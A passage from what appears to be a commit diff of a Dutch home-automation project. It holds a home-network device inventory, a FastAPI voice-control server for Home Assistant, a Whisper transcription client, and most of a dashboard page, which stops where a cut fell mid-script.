"os_guess": "UniFi Controller", "open_ports": [80, 443, 8080, 8443, 9443],
"banners": {80: "HTTP/1.1 301 Moved Permanently", 443: "HTTP/1.1 400 Bad Request", 8080: "HTTP/1.1 400"}},
{"ip": "192.168.1.25", "hostname": "pve-scripts-local.localdomain", "mac": "",
"os_guess": "Linux (Proxmox Scripts)", "open_ports": [22], "banners": {}},
{"ip": "192.168.1.65", "hostname": "lwip0.localdomain", "mac": "",
"os_guess": "Linux (lwip0 interface)", "open_ports": [], "banners": {}},
{"ip": "192.168.1.78", "hostname": "Galaxy-Tab-S2.localdomain", "mac": "",
"os_guess": "Android Tablet (Galaxy Tab S2)", "open_ports": [], "banners": {}},
{"ip": "192.168.1.82", "hostname": "APIsra.localdomain", "mac": "",
"os_guess": "UniFi AP Israe", "open_ports": [22, 80],
"banners": {80: "HTTP/1.1 302 Moved Temporarily"}},
{"ip": "192.168.1.91", "hostname": "APWoonkamer.localdomain", "mac": "",
"os_guess": "UniFi AP Woonkamer", "open_ports": [22, 80],
"banners": {80: "HTTP/1.1 302 Moved Temporarily"}},
{"ip": "192.168.1.125", "hostname": "US-16-150W.localdomain", "mac": "",
"os_guess": "UniFi Switch 16-150W", "open_ports": [22], "banners": {}},
{"ip": "192.168.1.142", "hostname": "linkwarden.localdomain", "mac": "",
"os_guess": "Linux (Linkwarden)", "open_ports": [22, 80],
"banners": {80: "HTTP/1.1 200 OK"}},
{"ip": "192.168.1.166", "hostname": "", "mac": "",
"os_guess": "Windows Desktop (SMB+RPC)", "open_ports": [135, 445], "banners": {}},
{"ip": "192.168.1.174", "hostname": "precision.localdomain", "mac": "",
"os_guess": "Windows Desktop (SMB+RPC)", "open_ports": [135, 139, 445], "banners": {}},
{"ip": "192.168.1.179", "hostname": "FlexminiSerre.localdomain", "mac": "",
"os_guess": "UniFi Flex Mini (Serre)", "open_ports": [22], "banners": {}},
{"ip": "192.168.1.244", "hostname": "", "mac": "00:9A:34:79:3E:03",
"os_guess": "Webserver (onbekend)", "open_ports": [80],
"banners": {80: "HTTP/1.0 404 Not Found"}},
{"ip": "192.168.1.246", "hostname": "wlan0.localdomain", "mac": "",
"os_guess": "WiFi Client (wlan0)", "open_ports": [], "banners": {}},
# ── handmatig toegevoegd (niet in ICMP-scan maar bevestigd actief) ──────
{"ip": "192.168.1.211", "hostname": "synology.localdomain", "mac": "",
"os_guess": "Synology NAS (Docker + Neo4j + Gitea)", "open_ports": [3000, 5000, 5433, 49153],
"banners": {5000: "Synology DSM Web UI", 3000: "Gitea Git Server"}},
{"ip": "192.168.1.235", "hostname": "homeassistant.localdomain", "mac": "",
"os_guess": "Home Assistant", "open_ports": [8123],
"banners": {8123: "Home Assistant API"}},
]
+280
View File
@@ -0,0 +1,280 @@
"""
FastAPI web server voor de Home Assistant Voice Control webinterface.
Biedt endpoints voor:
- Audio upload → transcriptie → HA actie
- Tekstcommando's
- Entity state opvragen
- Statische bestanden (frontend)
Start met:
uvicorn src.web_server:app --host 127.0.0.1 --port 8765
"""
from __future__ import annotations
import logging
from pathlib import Path
from fastapi import FastAPI, File, UploadFile, Form, HTTPException
from fastapi.middleware.cors import CORSMiddleware
from fastapi.staticfiles import StaticFiles
from fastapi.responses import FileResponse, JSONResponse
import pydantic
from src.ha_client import HAClient
from src import whisper_client
from src.dashboard_api import router as dashboard_router
import config
# ── logging ─────────────────────────────────────────────────────────────────
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
)
logger = logging.getLogger("web-server")
# ── app ─────────────────────────────────────────────────────────────────────
app = FastAPI(
title="HA Voice Control",
description="Webinterface voor spraakgestuurde Home Assistant bediening",
version="1.0.0",
)
# CORS — sta externe toegang toe (voor nginx proxy / aparte frontend hosting)
app.add_middleware(
CORSMiddleware,
allow_origins=config.CORS_ORIGINS,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
ha = HAClient()
# ── pydantic modellen ───────────────────────────────────────────────────────
class CommandRequest(pydantic.BaseModel):
text: str
class LightControlRequest(pydantic.BaseModel):
entity_id: str
action: str = "toggle" # turn_on, turn_off, toggle
brightness: int | None = None
color_name: str | None = None
class ServiceRequest(pydantic.BaseModel):
domain: str
service: str
entity_id: str | None = None
# ── API routes ──────────────────────────────────────────────────────────────
@app.get("/api/health")
async def health():
"""Health check endpoint."""
return {"status": "ok", "ha_url": config.HA_URL}
@app.post("/api/transcribe")
async def transcribe_audio_endpoint(audio: UploadFile = File(...)):
"""Upload audio, transcribeer met Whisper en voer uit via Home Assistant.
Accepteert WAV audio via multipart/form-data.
Retourneert de transcriptie en het HA-resultaat.
"""
if not audio.content_type or "audio" not in audio.content_type:
# Sta ook application/octet-stream toe (sommige browsers sturen dit)
logger.info("Content-Type is %s, doorgaan...", audio.content_type)
try:
audio_bytes = await audio.read()
except Exception as e:
logger.exception("Fout bij lezen audio")
raise HTTPException(400, f"Kan audio niet lezen: {e}")
if len(audio_bytes) == 0:
raise HTTPException(400, "Geen audio ontvangen (lege upload)")
logger.info("Audio ontvangen: %d bytes", len(audio_bytes))
# Transcriptie
try:
text = await whisper_client.transcribe(audio_bytes)
except Exception as e:
logger.exception("Transcriptie mislukt")
return JSONResponse(
{"error": f"Transcriptie fout: {e}", "text": "", "ha_result": None},
status_code=500,
)
if not text.strip():
return {
"text": "",
"ha_result": None,
"message": "Geen spraak gedetecteerd",
}
# Stuur naar Home Assistant conversation agent
try:
ha_result = await ha.process_conversation(text)
except Exception as e:
logger.exception("HA conversation agent fout")
return {
"text": text,
"ha_result": None,
"error": f"Home Assistant fout: {e}",
}
return {
"text": text,
"ha_result": ha_result,
}
@app.post("/api/command")
async def text_command(req: CommandRequest):
"""Stuur een tekstcommando naar de Home Assistant conversation agent."""
if not req.text.strip():
raise HTTPException(400, "Leeg commando")
try:
result = await ha.process_conversation(req.text.strip())
except Exception as e:
logger.exception("HA command fout")
raise HTTPException(500, f"Home Assistant fout: {e}")
return {"text": req.text, "ha_result": result}
@app.get("/api/lights")
async def list_lights():
"""Retourneer alle lampen met hun huidige status."""
try:
lights = await ha.list_lights()
except Exception as e:
raise HTTPException(500, f"Home Assistant fout: {e}")
return [
{
"entity_id": l.get("entity_id"),
"state": l.get("state"),
"friendly_name": (l.get("attributes", {}) or {}).get("friendly_name", ""),
"brightness": (l.get("attributes", {}) or {}).get("brightness"),
"color": (l.get("attributes", {}) or {}).get("rgb_color"),
}
for l in lights
]
@app.post("/api/light/control")
async def control_light(req: LightControlRequest):
"""Bedien een specifieke lamp."""
try:
result = await ha.control_light(
req.entity_id,
req.action,
req.brightness,
req.color_name,
)
except Exception as e:
raise HTTPException(500, f"Fout bij bedienen lamp: {e}")
return {"success": True, "result": result}
@app.get("/api/entities")
async def list_entities(domain: str | None = None):
"""Retourneer entities, optioneel gefilterd op domein."""
try:
entities = await ha.list_all_entities(domain)
except Exception as e:
raise HTTPException(500, f"Home Assistant fout: {e}")
# Samenvatting teruggeven om response beheersbaar te houden
return [
{
"entity_id": e.get("entity_id"),
"state": e.get("state"),
"friendly_name": (e.get("attributes", {}) or {}).get("friendly_name", ""),
}
for e in entities
]
@app.get("/api/entity/{entity_id}")
async def get_entity(entity_id: str):
"""Haal de volledige state van één entity op."""
try:
state = await ha.get_entity_state(entity_id)
except Exception as e:
raise HTTPException(500, f"Home Assistant fout: {e}")
return state
@app.post("/api/service")
async def call_service(req: ServiceRequest):
"""Roep een willekeurige Home Assistant service aan."""
target = {"entity_id": req.entity_id} if req.entity_id else None
try:
result = await ha.call_service(req.domain, req.service, target=target)
except Exception as e:
raise HTTPException(500, f"Service fout: {e}")
return {"success": True, "result": result}
# ── Dashboard API ───────────────────────────────────────────────────────────
app.include_router(dashboard_router)
# ── statische bestanden (frontend) ──────────────────────────────────────────
@app.get("/")
async def index():
"""Serveer de hoofdpagina (voice control)."""
return FileResponse(config.STATIC_DIR / "index.html")
@app.get("/dashboard")
async def dashboard():
"""Serveer het Home Dashboard."""
return FileResponse(config.STATIC_DIR / "dashboard.html")
# Mount static dir voor CSS/JS/favicon
if config.STATIC_DIR.exists():
app.mount("/static", StaticFiles(directory=str(config.STATIC_DIR)), name="static")
# ── entry point ─────────────────────────────────────────────────────────────
def main():
import uvicorn
logger.info(
"Starten web server op %s:%d ...", config.WEB_HOST, config.WEB_PORT
)
uvicorn.run(
"src.web_server:app",
host=config.WEB_HOST,
port=config.WEB_PORT,
reload=False,
log_level="info",
)
if __name__ == "__main__":
main()
+105
View File
@@ -0,0 +1,105 @@
"""
Whisper speech-to-text client.
Ondersteunt zowel lokale faster-whisper als de OpenAI API.
"""
from __future__ import annotations
import io
import logging
import tempfile
from pathlib import Path
import config
logger = logging.getLogger(__name__)
# ── lazy imports ────────────────────────────────────────────────────────────
_whisper_model = None
def _get_local_model():
"""Laad (en cache) het lokale faster-whisper model."""
global _whisper_model
if _whisper_model is not None:
return _whisper_model
from faster_whisper import WhisperModel
logger.info(
"Laden van faster-whisper model '%s' op device '%s'...",
config.WHISPER_MODEL,
config.WHISPER_DEVICE,
)
_whisper_model = WhisperModel(
config.WHISPER_MODEL,
device=config.WHISPER_DEVICE,
compute_type="int8", # efficient voor CPU; "float16" voor GPU
)
logger.info("Whisper model geladen.")
return _whisper_model
# ── public API ──────────────────────────────────────────────────────────────
async def transcribe(audio_bytes: bytes) -> str:
"""Transcribeer audio (WAV/MP3) naar tekst.
Retourneert de herkende tekst.
"""
if config.WHISPER_MODE == "openai":
return await _transcribe_openai(audio_bytes)
else:
return await _transcribe_local(audio_bytes)
async def _transcribe_local(audio_bytes: bytes) -> str:
"""Lokale transcriptie via faster-whisper."""
model = _get_local_model()
# Schrijf audio naar een tijdelijk bestand (faster-whisper werkt met paden)
with tempfile.NamedTemporaryFile(suffix=".wav", delete=False) as tmp:
tmp.write(audio_bytes)
tmp_path = Path(tmp.name)
try:
segments, info = model.transcribe(
str(tmp_path),
language="nl", # Nederlands als voorkeurstaal
beam_size=5,
)
logger.info(
"Whisper detecteerde taal: %s (kans: %.2f)",
info.language,
info.language_probability,
)
text = " ".join(seg.text.strip() for seg in segments)
logger.info("Transcriptie: %s", text)
return text
finally:
tmp_path.unlink(missing_ok=True)
async def _transcribe_openai(audio_bytes: bytes) -> str:
"""Transcriptie via de OpenAI Whisper API."""
import openai
client = openai.AsyncOpenAI(api_key=config.OPENAI_API_KEY)
# OpenAI verwacht een bestands-object
audio_file = io.BytesIO(audio_bytes)
audio_file.name = "audio.wav"
transcript = await client.audio.transcriptions.create(
model="whisper-1",
file=audio_file,
language="nl",
response_format="text",
)
logger.info("OpenAI transcriptie: %s", transcript)
return transcript.strip()
+950
View File
@@ -0,0 +1,950 @@
<!DOCTYPE html>
<html lang="nl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home Dashboard</title>
<style>
:root {
--bg: #0a0e14;
--surface: #131820;
--surface2: #1a202c;
--border: #262d38;
--text: #cdd6e0;
--text-dim: #6b7280;
--accent: #5c9eff;
--accent2: #7c3aed;
--danger: #f85149;
--success: #3fb950;
--warning: #d29922;
--orange: #f0883e;
--radius: 10px;
--radius-sm: 6px;
--transition: 0.15s ease;
}
* { margin:0; padding:0; box-sizing:border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
background: var(--bg); color: var(--text);
min-height: 100vh; display: flex;
}
::-webkit-scrollbar { width: 6px; }
::-webkit-scrollbar-track { background: var(--bg); }
::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; }
/* ── Sidebar ──────────────────────────── */
.sidebar {
width: 220px; background: var(--surface);
border-right: 1px solid var(--border);
display: flex; flex-direction: column;
padding: 20px 0; flex-shrink: 0;
}
.sidebar-logo {
padding: 0 20px 20px; font-size: 1.1rem;
font-weight: 700; letter-spacing: -0.02em;
border-bottom: 1px solid var(--border); margin-bottom: 12px;
}
.sidebar-logo span { color: var(--accent); }
.nav-item {
display: flex; align-items: center; gap: 10px;
padding: 10px 20px; cursor: pointer;
color: var(--text-dim); transition: var(--transition);
font-size: 0.9rem; border-left: 3px solid transparent;
user-select: none;
}
.nav-item:hover { color: var(--text); background: var(--surface2); }
.nav-item.active { color: var(--accent); border-left-color: var(--accent); background: rgba(92,158,255,0.06); }
.nav-item .icon { font-size: 1.1rem; width: 22px; text-align: center; }
.nav-item .badge {
margin-left: auto; background: var(--accent);
color: #fff; font-size: 0.7rem; padding: 1px 7px;
border-radius: 10px; font-weight: 600;
}
/* ── Main content ─────────────────────── */
.main {
flex: 1; display: flex; flex-direction: column;
overflow: hidden;
}
.topbar {
display: flex; align-items: center; justify-content: space-between;
padding: 14px 28px; background: var(--surface);
border-bottom: 1px solid var(--border);
}
.topbar h1 { font-size: 1.15rem; font-weight: 600; }
.topbar-right { display: flex; gap: 16px; align-items: center; font-size: 0.85rem; color: var(--text-dim); }
.status-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--success); }
.content {
flex: 1; overflow-y: auto; padding: 24px 28px;
}
.tab-content { display: none; }
.tab-content.active { display: block; }
/* ── Cards / Widgets ──────────────────── */
.card {
background: var(--surface); border: 1px solid var(--border);
border-radius: var(--radius); padding: 18px 20px;
margin-bottom: 16px;
}
.card-header {
display: flex; align-items: center; justify-content: space-between;
margin-bottom: 14px;
}
.card-header h3 { font-size: 0.95rem; font-weight: 600; color: var(--text-dim); text-transform: uppercase; letter-spacing: 0.05em; }
.card-header .count { font-size: 0.8rem; color: var(--text-dim); }
.grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 16px; }
.grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; }
.grid-3 { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); gap: 12px; }
/* ── Quick link tiles ─────────────────── */
.quick-link {
display: flex; align-items: center; gap: 12px;
padding: 14px 16px; background: var(--surface2);
border: 1px solid var(--border); border-radius: var(--radius);
cursor: pointer; transition: var(--transition);
text-decoration: none; color: var(--text);
}
.quick-link:hover { border-color: var(--accent); background: rgba(92,158,255,0.06); transform: translateY(-1px); }
.quick-link .ql-icon { font-size: 1.8rem; }
.quick-link .ql-info { flex: 1; min-width: 0; }
.quick-link .ql-title { font-size: 0.9rem; font-weight: 500; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.quick-link .ql-url { font-size: 0.75rem; color: var(--text-dim); }
/* ── Buttons ──────────────────────────── */
.btn {
padding: 7px 16px; border-radius: var(--radius-sm);
border: 1px solid var(--border); background: var(--surface2);
color: var(--text); cursor: pointer; font-size: 0.85rem;
transition: var(--transition);
}
.btn:hover { border-color: var(--accent); }
.btn-primary { background: var(--accent); border-color: var(--accent); color: #fff; }
.btn-danger { border-color: var(--danger); color: var(--danger); }
.btn-sm { padding: 4px 10px; font-size: 0.78rem; }
/* ── Forms ────────────────────────────── */
input, textarea, select {
padding: 8px 12px; border-radius: var(--radius-sm);
border: 1px solid var(--border); background: var(--surface2);
color: var(--text); font-size: 0.85rem; font-family: inherit;
width: 100%;
}
input:focus, textarea:focus, select:focus {
outline: none; border-color: var(--accent);
box-shadow: 0 0 0 3px rgba(92,158,255,0.1);
}
label { display: block; font-size: 0.8rem; color: var(--text-dim); margin-bottom: 4px; }
.form-group { margin-bottom: 14px; }
.form-row { display: flex; gap: 12px; }
.form-row > * { flex: 1; }
/* ── Network graph placeholder ────────── */
.network-node {
display: inline-flex; align-items: center; gap: 8px;
padding: 10px 14px; background: var(--surface2);
border: 1px solid var(--border); border-radius: var(--radius);
font-size: 0.85rem; cursor: pointer; transition: var(--transition);
margin: 4px;
}
.network-node:hover { border-color: var(--accent); }
.network-node .status { width: 8px; height: 8px; border-radius: 50%; }
.network-node .status.online { background: var(--success); }
.network-node .status.offline { background: var(--text-dim); }
.node-ports { font-size: 0.7rem; color: var(--text-dim); margin-top: 2px; }
/* ── Calendar ─────────────────────────── */
.calendar-grid {
display: grid; grid-template-columns: repeat(7, 1fr); gap: 4px;
}
.cal-day-header {
text-align: center; font-size: 0.75rem; color: var(--text-dim);
padding: 8px 0; font-weight: 600;
}
.cal-day {
aspect-ratio: 1; display: flex; align-items: center; justify-content: center;
border-radius: var(--radius-sm); cursor: pointer;
font-size: 0.85rem; transition: var(--transition);
position: relative;
}
.cal-day:hover { background: var(--surface2); }
.cal-day.today { border: 2px solid var(--accent); font-weight: 700; }
.cal-day.has-event::after {
content: ''; position: absolute; bottom: 4px;
width: 5px; height: 5px; border-radius: 50%; background: var(--accent);
}
.cal-day.other-month { color: var(--border); }
.event-item {
display: flex; align-items: center; gap: 10px;
padding: 10px 14px; border-left: 3px solid var(--accent);
background: var(--surface2); border-radius: 0 var(--radius-sm) var(--radius-sm) 0;
margin-bottom: 6px;
}
.event-time { font-size: 0.78rem; color: var(--text-dim); min-width: 50px; }
.event-title { font-size: 0.88rem; }
/* ── Password list ────────────────────── */
.pw-item {
display: flex; align-items: center; gap: 12px;
padding: 10px 14px; border: 1px solid var(--border);
border-radius: var(--radius-sm); margin-bottom: 6px;
transition: var(--transition);
}
.pw-item:hover { border-color: var(--accent); }
.pw-icon { font-size: 1.3rem; }
.pw-info { flex: 1; }
.pw-title { font-size: 0.88rem; font-weight: 500; }
.pw-user { font-size: 0.75rem; color: var(--text-dim); }
.pw-actions { display: flex; gap: 6px; }
/* ── Files table ──────────────────────── */
.file-table { width: 100%; border-collapse: collapse; font-size: 0.85rem; }
.file-table th {
text-align: left; padding: 10px 12px;
border-bottom: 1px solid var(--border);
color: var(--text-dim); font-weight: 600; font-size: 0.78rem;
text-transform: uppercase;
}
.file-table td { padding: 8px 12px; border-bottom: 1px solid var(--border); }
.file-table tr:hover td { background: var(--surface2); }
/* ── Photo grid ───────────────────────── */
.photo-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); gap: 10px; }
.photo-thumb {
aspect-ratio: 1; background: var(--surface2);
border-radius: var(--radius-sm); overflow: hidden;
cursor: pointer; transition: var(--transition); position: relative;
}
.photo-thumb:hover { transform: scale(1.03); }
.photo-thumb img { width: 100%; height: 100%; object-fit: cover; }
.photo-face-badge {
position: absolute; top: 6px; right: 6px;
background: var(--accent2); color: #fff;
font-size: 0.7rem; padding: 2px 8px; border-radius: 10px;
}
/* ── Modal ────────────────────────────── */
.modal-overlay {
display: none; position: fixed; inset: 0;
background: rgba(0,0,0,0.7); z-index: 100;
align-items: center; justify-content: center;
}
.modal-overlay.show { display: flex; }
.modal {
background: var(--surface); border: 1px solid var(--border);
border-radius: var(--radius); padding: 24px; max-width: 500px;
width: 90%; max-height: 80vh; overflow-y: auto;
}
.modal h2 { margin-bottom: 16px; font-size: 1.1rem; }
.modal-actions { display: flex; gap: 10px; justify-content: flex-end; margin-top: 20px; }
/* ── Responsive ───────────────────────── */
@media (max-width: 768px) {
.sidebar { width: 56px; }
.sidebar .nav-item span:not(.icon) { display: none; }
.sidebar .badge { display: none; }
.sidebar-logo { font-size: 1.3rem; text-align: center; padding: 0 0 16px; }
.sidebar-logo span:last-child { display: none; }
.grid-2 { grid-template-columns: 1fr; }
.content { padding: 16px; }
}
</style>
</head>
<body>
<!-- ═══════════════ SIDEBAR ═══════════════ -->
<nav class="sidebar">
<div class="sidebar-logo"><span></span> Home<span> Dashboard</span></div>
<div class="nav-item active" data-tab="home"><span class="icon">🏠</span><span>Overzicht</span></div>
<div class="nav-item" data-tab="network"><span class="icon">🌐</span><span>Netwerk</span><span class="badge" id="net-count">--</span></div>
<div class="nav-item" data-tab="systems"><span class="icon">🖥️</span><span>Systemen</span></div>
<div class="nav-item" data-tab="config"><span class="icon">⚙️</span><span>Config</span></div>
<div class="nav-item" data-tab="control"><span class="icon">🎮</span><span>Control Center</span></div>
<div class="nav-item" data-tab="calendar"><span class="icon">📅</span><span>Agenda</span></div>
<div class="nav-item" data-tab="files"><span class="icon">📁</span><span>Bestanden</span></div>
<div class="nav-item" data-tab="photos"><span class="icon">🖼️</span><span>Foto's</span></div>
<div class="nav-item" data-tab="passwords"><span class="icon">🔑</span><span>Wachtwoorden</span></div>
<div class="nav-item" data-tab="links"><span class="icon"></span><span>Quick Links</span></div>
</nav>
<!-- ═══════════════ MAIN ═══════════════ -->
<div class="main">
<div class="topbar">
<h1 id="page-title">Overzicht</h1>
<div class="topbar-right">
<div class="status-dot" id="status-dot"></div>
<span id="clock">--:--:--</span>
<span id="date-display"></span>
</div>
</div>
<div class="content" id="content">
<!-- TAB: Home/Overzicht -->
<div class="tab-content active" id="tab-home">
<div class="grid-2">
<div class="card">
<div class="card-header"><h3>📊 Stats</h3></div>
<div class="grid-3" id="home-stats"></div>
</div>
<div class="card">
<div class="card-header"><h3>📅 Vandaag</h3></div>
<div id="home-today-events"><span style="color:var(--text-dim)">Laden...</span></div>
</div>
</div>
<div class="card">
<div class="card-header"><h3>⚡ Quick Links</h3><button class="btn btn-sm" onclick="switchTab('links')">Alle</button></div>
<div class="grid-3" id="home-links"></div>
</div>
</div>
<!-- TAB: Netwerk -->
<div class="tab-content" id="tab-network">
<div class="card">
<div class="card-header"><h3>🌐 Thuisnetwerk 192.168.1.0/24</h3><span id="net-summary" style="color:var(--text-dim);font-size:0.85rem">Laden...</span></div>
<div style="display:flex; flex-wrap:wrap; gap:6px; margin-bottom:16px" id="network-nodes"></div>
<div class="card" style="background:var(--surface2);margin-top:8px">
<div class="card-header"><h4>📊 Poort-statistieken</h4></div>
<div id="port-stats" style="display:flex; flex-wrap:wrap; gap:8px"></div>
</div>
<div class="card" style="background:var(--surface2);margin-top:8px">
<div class="card-header"><h4>📋 Laatste scans</h4></div>
<div id="scan-history" style="color:var(--text-dim);font-size:0.85rem"></div>
</div>
</div>
</div>
<!-- TAB: Systemen -->
<div class="tab-content" id="tab-systems">
<div class="card">
<div class="card-header"><h3>🖥️ Alle Systemen</h3>
<div style="display:flex;gap:8px">
<select id="sys-filter" onchange="loadSystems()" style="width:auto">
<option value="">Alle systemen</option>
<option value="Windows">Windows</option>
<option value="Linux">Linux</option>
<option value="ESP32">ESP32 IoT</option>
<option value="UniFi">UniFi</option>
<option value="Router">Router/Gateway</option>
</select>
</div>
</div>
<div id="systems-list"></div>
</div>
</div>
<!-- TAB: Config -->
<div class="tab-content" id="tab-config">
<div class="card">
<div class="card-header"><h3>⚙️ Configuratie & Status</h3></div>
<div id="config-content"><span style="color:var(--text-dim)">Laden...</span></div>
</div>
</div>
<!-- TAB: Control Center -->
<div class="tab-content" id="tab-control">
<div class="card">
<div class="card-header"><h3>💡 Lampen</h3></div>
<div class="grid-3" id="lights-grid"><span style="color:var(--text-dim)">Laden...</span></div>
</div>
</div>
<!-- TAB: Calendar -->
<div class="tab-content" id="tab-calendar">
<div class="grid-2">
<div class="card">
<div class="card-header"><h3 id="cal-month-label"></h3>
<div style="display:flex; gap:6px">
<button class="btn btn-sm" onclick="calShift(-1)">&lt;</button>
<button class="btn btn-sm" onclick="calShift(0)">Vandaag</button>
<button class="btn btn-sm" onclick="calShift(1)">&gt;</button>
</div>
</div>
<div class="calendar-grid" id="calendar-grid"></div>
</div>
<div class="card">
<div class="card-header"><h3 id="cal-date-label">Events</h3>
<button class="btn btn-sm btn-primary" onclick="showEventModal()">+ Nieuw</button>
</div>
<div id="event-list"><span style="color:var(--text-dim)">Selecteer een dag</span></div>
</div>
</div>
</div>
<!-- TAB: Files -->
<div class="tab-content" id="tab-files">
<div class="card">
<div class="card-header"><h3>📁 Bestanden</h3>
<input type="text" placeholder="Zoeken..." style="width:200px" oninput="loadFiles(this.value)">
</div>
<div style="overflow-x:auto"><table class="file-table" id="file-table"></table></div>
<div style="margin-top:12px; color:var(--text-dim); font-size:0.82rem" id="file-count"></div>
</div>
</div>
<!-- TAB: Photos -->
<div class="tab-content" id="tab-photos">
<div class="card">
<div class="card-header"><h3>🖼️ Foto's</h3>
<select id="photo-filter" onchange="loadPhotos()" style="width:auto">
<option value="">Alle foto's</option>
</select>
</div>
<div class="photo-grid" id="photo-grid"><span style="color:var(--text-dim)">Nog geen foto's geindexeerd</span></div>
</div>
</div>
<!-- TAB: Passwords -->
<div class="tab-content" id="tab-passwords">
<div class="card">
<div class="card-header"><h3>🔑 Opgeslagen wachtwoorden</h3>
<div style="display:flex; gap:8px">
<input type="text" placeholder="Zoeken..." style="width:180px" oninput="loadPasswords(this.value)">
<button class="btn btn-primary btn-sm" onclick="showPasswordModal()">+ Nieuw</button>
</div>
</div>
<div id="password-list"></div>
</div>
</div>
<!-- TAB: Quick Links -->
<div class="tab-content" id="tab-links">
<div class="card">
<div class="card-header"><h3>⚡ Favorieten & Quick Links</h3>
<button class="btn btn-primary btn-sm" onclick="showLinkModal()">+ Nieuw</button>
</div>
<div class="grid-3" id="all-links"></div>
</div>
</div>
</div>
</div>
<!-- ═══════════════ MODALS ═══════════════ -->
<div class="modal-overlay" id="modal-overlay">
<div class="modal" id="modal-content"></div>
</div>
<script>
// ═══════════ STATE ═══════════
const API = '/api/dashboard';
let activeTab = 'home';
let calYear, calMonth, calSelectedDate;
// ═══════════ NAVIGATION ═══════════
document.querySelectorAll('.nav-item').forEach(item => {
item.addEventListener('click', () => switchTab(item.dataset.tab));
});
function switchTab(tab) {
activeTab = tab;
document.querySelectorAll('.nav-item').forEach(n => n.classList.remove('active'));
document.querySelector(`.nav-item[data-tab="${tab}"]`)?.classList.add('active');
document.querySelectorAll('.tab-content').forEach(c => c.classList.remove('active'));
document.getElementById(`tab-${tab}`)?.classList.add('active');
document.getElementById('page-title').textContent =
document.querySelector(`.nav-item[data-tab="${tab}"] span:last-child`)?.textContent || tab;
loadTab(tab);
}
function loadTab(tab) {
switch(tab) {
case 'home': loadOverview(); break;
case 'network': loadNetwork(); break;
case 'systems': loadSystems(); break;
case 'config': loadConfig(); break;
case 'control': loadLights(); break;
case 'calendar': loadCalendar(); break;
case 'files': loadFiles(); break;
case 'photos': loadPhotos(); break;
case 'passwords': loadPasswords(); break;
case 'links': loadLinks(); break;
}
}
// ═══════════ CLOCK ═══════════
function updateClock() {
const now = new Date();
document.getElementById('clock').textContent = now.toLocaleTimeString('nl-NL');
document.getElementById('date-display').textContent = now.toLocaleDateString('nl-NL', {weekday:'long', day:'numeric', month:'long'});
}
setInterval(updateClock, 1000); updateClock();
// ═══════════ OVERVIEW ═══════════
async function loadOverview() {
try {
const r = await fetch(`${API}/overview`); const d = await r.json();
document.getElementById('home-stats').innerHTML = `
<div class="card" style="text-align:center"><div style="font-size:2rem">⚡</div><div style="font-size:1.5rem;font-weight:700">${d.favorites_count||0}</div><div style="font-size:0.8rem;color:var(--text-dim)">Favorieten</div></div>
<div class="card" style="text-align:center"><div style="font-size:2rem">🌐</div><div style="font-size:1.5rem;font-weight:700">${d.network_devices||0}</div><div style="font-size:0.8rem;color:var(--text-dim)">Netwerk Devices</div></div>
<div class="card" style="text-align:center"><div style="font-size:2rem">🔑</div><div style="font-size:1.5rem;font-weight:700">${d.password_count||0}</div><div style="font-size:0.8rem;color:var(--text-dim)">Wachtwoorden</div></div>
<div class="card" style="text-align:center"><div style="font-size:2rem">🖼️</div><div style="font-size:1.5rem;font-weight:700">${d.photo_count||0}</div><div style="font-size:0.8rem;color:var(--text-dim)">Foto's</div></div>
`;
// Update sidebar network count
document.getElementById('net-count').textContent = d.network_devices || '--';
const todayEv = (d.today_events||[]).map(e => `<div class="event-item"><span class="event-time">${e.event_start?.split('T')[1]?.substring(0,5)||'--:--'}</span><span class="event-title">${esc(e.title)}</span></div>`).join('') || '<span style="color:var(--text-dim)">Geen events vandaag</span>';
document.getElementById('home-today-events').innerHTML = todayEv;
const links = await fetch(`${API}/favorites`).then(r=>r.json());
document.getElementById('home-links').innerHTML = (links||[]).slice(0,6).map(l => `<a class="quick-link" href="${esc(l.url)}" target="_blank"><span class="ql-icon">${l.icon||'⭐'}</span><div class="ql-info"><div class="ql-title">${esc(l.title)}</div><div class="ql-url">${esc(l.url)}</div></div></a>`).join('');
} catch(e) { console.error(e); }
}
// ═══════════ NETWORK (live uit Neo4j) ═══════════
async function loadNetwork() {
try {
const r = await fetch(`${API}/network`);
if (!r.ok) throw new Error('API niet beschikbaar');
const d = await r.json();
document.getElementById('net-summary').textContent =
`${d.summary.total_devices} devices • ${d.summary.total_ports} unieke poorten`;
// Device nodes
document.getElementById('network-nodes').innerHTML = (d.devices||[]).map(dev => {
const osIcon = dev.os_guess.includes('Windows') ? '🪟' :
dev.os_guess.includes('ESP32') ? '📡' :
dev.os_guess.includes('Router') ? '📶' :
dev.os_guess.includes('UniFi') ? '📡' :
dev.os_guess.includes('Home Assistant') ? '🏠' :
dev.os_guess.includes('Synology') ? '🗄️' :
dev.os_guess.includes('Linux') ? '🐧' : '💻';
return `
<div class="network-node" onclick="showSystemDetail('${dev.ip}')" title="Klik voor details">
<div class="status online"></div>
<div><strong>${osIcon} ${esc(dev.hostname||dev.ip)}</strong><br>
<span class="node-ports">${dev.ip}${(dev.open_ports||[]).join(', ')||'geen open poorten'}</span></div>
</div>`;
}).join('');
// Poort stats
document.getElementById('port-stats').innerHTML = (d.summary.top_ports||[]).map(p => `
<div class="network-node" style="cursor:default">
<span style="font-weight:600">:${p.port}</span>
<span style="font-size:0.75rem;color:var(--text-dim)">${p.count}x</span>
</div>
`).join('');
// Scan history
document.getElementById('scan-history').innerHTML = (d.scan_history||[]).map(s => `
<div style="margin-bottom:4px">📅 ${(s.timestamp||'').substring(0,16).replace('T',' ')}${s.id}${s.hosts_active} hosts</div>
`).join('') || 'Geen scan historie';
// Update sidebar badge
document.getElementById('net-count').textContent = d.summary.total_devices;
} catch(e) {
document.getElementById('network-nodes').innerHTML =
